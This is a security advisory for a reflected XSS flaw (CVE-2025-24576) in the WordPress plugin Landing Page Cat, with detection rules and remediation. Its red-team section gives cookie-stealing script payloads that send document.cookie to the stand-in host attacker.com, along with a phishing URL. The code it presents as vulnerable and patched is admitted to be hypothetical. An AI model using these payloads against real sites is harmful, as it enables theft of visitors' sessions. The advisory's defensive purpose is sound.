CVE-2025-24576

Executive Summary

CVE-2025-24576 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Landing Page Cat by fatcatapps, affecting versions up to and including 1.7.7. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. With a CVSS score of 7.1 (High), this flaw can be exploited without authentication, requiring only user interaction (e.g., clicking a crafted link). No public exploit code or patch is currently available, and the vendor has not responded to disclosure attempts. Given the plugin’s widespread use in WordPress landing page management, this poses a significant risk to site visitors and administrators.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. As a third-party component, it introduces risk into the WordPress supply chain. Site owners relying on Landing Page Cat must treat it as a potential entry point for client-side attacks. No official patch or advisory has been released by the vendor, and the plugin may be abandoned. Users should consider removing or replacing the plugin until a fix is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: High (7.1). The low attack complexity and no privileges required make this a prime target for phishing campaigns and drive-by attacks.

Deep Dive & Mechanics

The vulnerability resides in the landing-page-cat plugin’s handling of URL parameters. When a user visits a crafted URL containing malicious JavaScript in a query parameter (e.g., ?page=cat&cat=<script>alert(1)</script>), the plugin reflects this input directly into the HTML response without proper sanitization or encoding. This allows the injected script to execute in the victim’s browser context.

The root cause is the use of echo $_GET['cat'] or similar unsanitized output in PHP templates. WordPress provides functions like esc_html() and esc_url() to prevent XSS, but the plugin fails to apply them.

Attack Flow:

1. Attacker crafts a malicious URL: https://victim-site.com/?page=cat&cat=<script>alert(document.cookie)</script>
2. Victim clicks the link (e.g., via phishing email).
3. The plugin processes the cat parameter and reflects it in the page HTML.
4. The browser executes the injected script, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (v1.7.7):

<?php
// In some template file
$cat = $_GET['cat'];
echo "<div class='cat-name'>$cat</div>";
?>

Patched Code (Hypothetical):

<?php
$cat = isset($_GET['cat']) ? esc_html($_GET['cat']) : '';
echo "<div class='cat-name'>$cat</div>";
?>

The patched version uses esc_html() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Landing Page Cat <= 1.7.7 installed and activated.
• A victim user with a valid session.

Exploitation Steps:

1. Identify a vulnerable parameter (e.g., cat).
2. Craft a payload: ?page=cat&cat=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
3. Encode the URL for phishing: https://victim-site.com/?page=cat&cat=%3Cscript%3Efetch(%27https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie)%3C%2Fscript%3E
4. Send the link to the victim via email or social engineering.
5. Set up a listener on attacker.com to capture exfiltrated data.

Example Payload (Steal Cookies):

<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>

Blue Team

Detection Steps:

1. Monitor web server logs for unusual query parameters containing <script>, onerror, javascript:, or base64-encoded strings.
2. Use WAF rules to block reflected XSS patterns.
3. Implement Content Security Policy (CSP) headers to restrict script execution.
4. Regularly scan WordPress plugins for known vulnerabilities.

Lab Setup:

• Use a local WordPress instance with Landing Page Cat 1.7.7.
• Simulate an attack using a browser or curl: curl "http://localhost/?page=cat&cat=<script>alert(1)</script>"
• Verify the script executes in the response.

Indicators of Compromise (IOCs)

• Network IOCs:
  • URLs containing ?page=cat&cat= followed by encoded JavaScript.
  • Outbound connections to unknown domains from the victim’s browser.
• File IOCs:
  • Modified .htaccess files (if attacker gains admin access).
  • Suspicious entries in WordPress wp_options table.
• Log IOCs:
  • Web server logs showing GET /?page=cat&cat=<script>...</script>.
  • Repeated 404 errors for non-existent pages with XSS payloads.

Detection Engineering

YARA Rule

rule CVE_2025_24576_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Landing Page Cat plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-24576"
    strings:
        $payload1 = /page=cat&cat=.*<script/i
        $payload2 = /page=cat&cat=.*onerror/i
        $payload3 = /page=cat&cat=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Landing Page Cat
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with XSS payloads targeting the Landing Page Cat plugin
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'page=cat&cat='
        cs-uri-query|re: '(<script|onerror|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of similar parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-24576 Reflected XSS in Landing Page Cat"; flow:to_server,established; content:"GET"; http_method; content:"page=cat&cat="; http_uri; pcre:"/(<script|onerror|javascript:)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block requests containing page=cat&cat= with suspicious patterns.
3. Add CSP header: Content-Security-Policy: default-src 'self'; script-src 'self' to mitigate script execution.

Long-Term Fix:

• Replace Landing Page Cat with an alternative plugin that is actively maintained.
• If the vendor releases a patch, update to the latest version immediately.
• Conduct a security audit of all WordPress plugins and themes.

Workaround (Code-Level):

• If you must keep the plugin, manually patch the vulnerable file by adding esc_html() around $_GET['cat'] output.

Valters IT